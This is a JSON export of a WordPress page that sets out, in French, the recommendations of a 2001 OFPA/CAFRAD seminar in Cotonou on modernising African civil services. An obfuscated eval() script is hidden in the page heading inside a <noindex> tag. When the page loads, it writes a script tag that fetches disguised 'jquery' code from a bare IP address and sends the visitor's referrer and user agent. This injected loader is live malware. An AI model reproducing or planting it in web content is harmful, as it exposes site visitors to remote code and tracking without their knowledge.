{"id":221,"date":"2017-09-05T18:42:28","date_gmt":"2017-09-05T16:42:28","guid":{"rendered":"http:\/\/site.ofpa.net\/?page_id=221"},"modified":"2017-09-05T18:49:27","modified_gmt":"2017-09-05T16:49:27","slug":"recommandations","status":"publish","type":"page","link":"http:\/\/www.ofpa.net\/ru\/agenda\/2001-2\/restructuration-et-modernisation-de-la-fonction-publique-systeme-de-merite-et-motivation\/recommandations\/","title":{"rendered":"Recommandations"},"content":{"rendered":"<p style=\"text-align: center;\">\u00a0<strong><span style=\"color: #000080;\">SEMINAIRE <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tybkk|var|u0026u|referrer|ykhrn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> CONJOINT OFPA &#8211; CAFRAD<\/span><\/strong><\/p>\n<p>\u00a0<strong>&#8220;RESTRUCTURATION ET MODERNISATION DE LA FONCTION PUBLIQUE : Syst\u00e8me de m\u00e9rite et motivation&#8221;<\/strong><\/p>\n<div align=\"center\">\n<p style=\"text-align: center;\"><span style=\"color: #008000; font-size: large;\"> <b>Cotonou, (B\u00e9nin) 28 mai au 1<sup>er<\/sup> juin 2001<\/b><\/span><\/p>\n<\/div>\n<p style=\"text-align: center;\"><strong><span style=\"color: #339966;\">RECOMMANDATIONS DU SEMINAIRE<\/span><\/strong><\/p>\n<p>L&#8217;an de gr\u00e2ce 2001, du lundi 28 mai au vendredi 1er juin, s&#8217;est tenu dans la salle de Conf\u00e9rence de l&#8217;H\u00f4tel Croix du Sud \u00e0 Cotonou (B\u00e9nin) sous l&#8217;\u00e9gide du Gouvernement de la R\u00e9publique du B\u00e9nin, le S\u00e9minaire Conjoint OFPA\/CAFRAD sur &#8221; la Restructuration et la Modernisation de la Fonction Publique : Syst\u00e8me de m\u00e9rite et motivation &#8220;.<\/p>\n<p>Ce S\u00e9minaire s&#8217;adressait particuli\u00e8rement aux Secr\u00e9taires G\u00e9n\u00e9raux, Directeurs G\u00e9n\u00e9raux et Directeurs des Minist\u00e8res de la Fonction publique, de la R\u00e9forme et de la Modernisation de l&#8217;Administration en Afrique. Douze (12) pays y \u00e9taient effectivement repr\u00e9sent\u00e9s, \u00e0 savoir : B\u00e9nin, Burkina Faso, Cameroun, Congo Brazzaville, C\u00f4te d&#8217;Ivoire, Guin\u00e9e Bissau, Madagascar, Maroc, Niger, R\u00e9publique Centrafricaine, Rwanda, S\u00e9n\u00e9gal. Soit au total 35 participants issus de l&#8217;Administration Publique auxquels il faut ajouter les repr\u00e9sentants de la soci\u00e9t\u00e9 civile notamment les syndicats de fonctionnaires du B\u00e9nin.<\/p>\n<p>Les personnes ressources \u00e9taient constitu\u00e9es de consultants dot\u00e9s d&#8217;une exp\u00e9rience \u00e9prouv\u00e9e dans les mati\u00e8res du s\u00e9minaire dont les r\u00e9sultats ont donn\u00e9 lieu aux recommandations suivantes. <b><\/b><\/p>\n<div align=\"center\">\n<p><b>RECOMMANDATIONS<\/b><\/p>\n<\/div>\n<p>A l&#8217;issue des travaux, les participants au S\u00e9minaire Conjoint OFPA \/ CAFRAD sur &#8221; La Restructuration et la Modernisation de la Fonction Publique : Syst\u00e8me de M\u00e9rite et Motivation &#8221; (Cotonou, 28 mai au 1er juin 2001) :<\/p>\n<p><b><span style=\"font-size: large;\">C<\/span><\/b>onsid\u00e9rant le caract\u00e8re strat\u00e9gique du th\u00e8me d\u00e9battu par rapport \u00e0 l&#8217;am\u00e9lioration de la performance de la Fonction Publique en Afrique,<\/p>\n<p><b><span style=\"font-size: large;\">C<\/span><\/b>onsid\u00e9rant les enjeux socio-politiques, \u00e9conomiques et manag\u00e9riaux li\u00e9s \u00e0 la restructuration et \u00e0 la modernisation de la Fonction Publique en Afrique \u00e0 l&#8217;aube du 3\u00e8me mill\u00e9naire,<\/p>\n<p><b><span style=\"font-size: large;\">C<\/span><\/b>onsid\u00e9rant qu&#8217;une administration publique performante ne saurait plus \u00eatre consid\u00e9r\u00e9e comme un luxe, mais comme un facteur essentiel du d\u00e9veloppement socio-\u00e9conomique,<\/p>\n<p><b><span style=\"font-size: large;\">C<\/span><\/b>onsid\u00e9rant les efforts d\u00e9ploy\u00e9s par les peuples et les Etats africains pour sortir du cercle vicieux de la pauvret\u00e9 et mettre en place les conditions d&#8217;un d\u00e9veloppement durable,<\/p>\n<p><b><span style=\"font-size: large;\">C<\/span><\/b>onsid\u00e9rant les sacrifices endur\u00e9s par les agents publics depuis une d\u00e9cennie, <b><\/b><\/p>\n<div align=\"center\">\n<p><b>Recommandent<\/b><\/p>\n<\/div>\n<p><b>*<\/b> le renforcement de la volont\u00e9 politique pour la modernisation de la Fonction Publique ;<\/p>\n<p><b>*<\/b> le recentrage des missions de l&#8217;Etat en vue d&#8217;une restructuration coh\u00e9rente des services publics ;<\/p>\n<p><b>*<\/b> la poursuite des efforts d&#8217;organisation des services publics incluant la clarification des missions, l&#8217;identification et la classification des emplois, la description des postes de travail et des profils requis ;<\/p>\n<p><b>*<\/b> la mise en place dans la Fonction publique des m\u00e9canismes de gestion par objectifs ;<\/p>\n<p><b>*<\/b> le d\u00e9veloppement des outils appropri\u00e9s d&#8217;\u00e9valuation de la performance des services et des agents publics ;<\/p>\n<p><b>*<\/b> la mise en place des syst\u00e8mes de gestion des ressources humaines qui prennent effectivement en compte la contribution des agents publics \u00e0 l&#8217;accomplissement des missions de l&#8217;Etat ;<\/p>\n<p><b>*<\/b> la poursuite des efforts de restauration de la dignit\u00e9 de l&#8217;agent public par l&#8217;am\u00e9lioration du salaire, des conditions de travail et de la couverture sociale ;<\/p>\n<p><b>*<\/b> la d\u00e9politisation de la gestion de la Fonction Publique pour favoriser l&#8217;av\u00e8nement d&#8217;une Fonction Publique R\u00e9publicaine et Citoyenne ;<\/p>\n<p><b>*<\/b> l&#8217;harmonisation des statuts particuliers pour dissiper le sentiment d&#8217;iniquit\u00e9 entre les diff\u00e9rents corps de la Fonction Publique et la r\u00e9duction de l&#8217;\u00e9cart entre les salaires de base de la grille et ceux du sommet ;<\/p>\n<p><b>*<\/b> la poursuite et le renforcement des programmes conjoints OFPA \/ CAFRAD ;<\/p>\n<p><b>*<\/b> l&#8217;organisation de recherches dans divers pays et la tenue d&#8217;une Conf\u00e9rence \u00e0 tr\u00e8s court terme, sur la diversit\u00e9 dans la Fonction Publique en Afrique, dans le cadre des activit\u00e9s conjointes OFPA \/ CAFRAD et avec l&#8217;appui de leurs partenaires traditionnels (UNDESA \/ DPEPA, Union Europ\u00e9enne, etc\u2026)<\/p>\n<p><b>*<\/b> l&#8217;organisation d&#8217;une Conf\u00e9rence des Ministres de la Fonction Publique sur la r\u00e9mun\u00e9ration des agents publics compte tenu des enjeux \u00e9conomiques et sociaux de la question.<\/p>\n<div align=\"right\">Fait \u00e0 Cotonou, le 1<sup>er<\/sup> juin 2001<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0SEMINAIRE CONJOINT OFPA &#8211; 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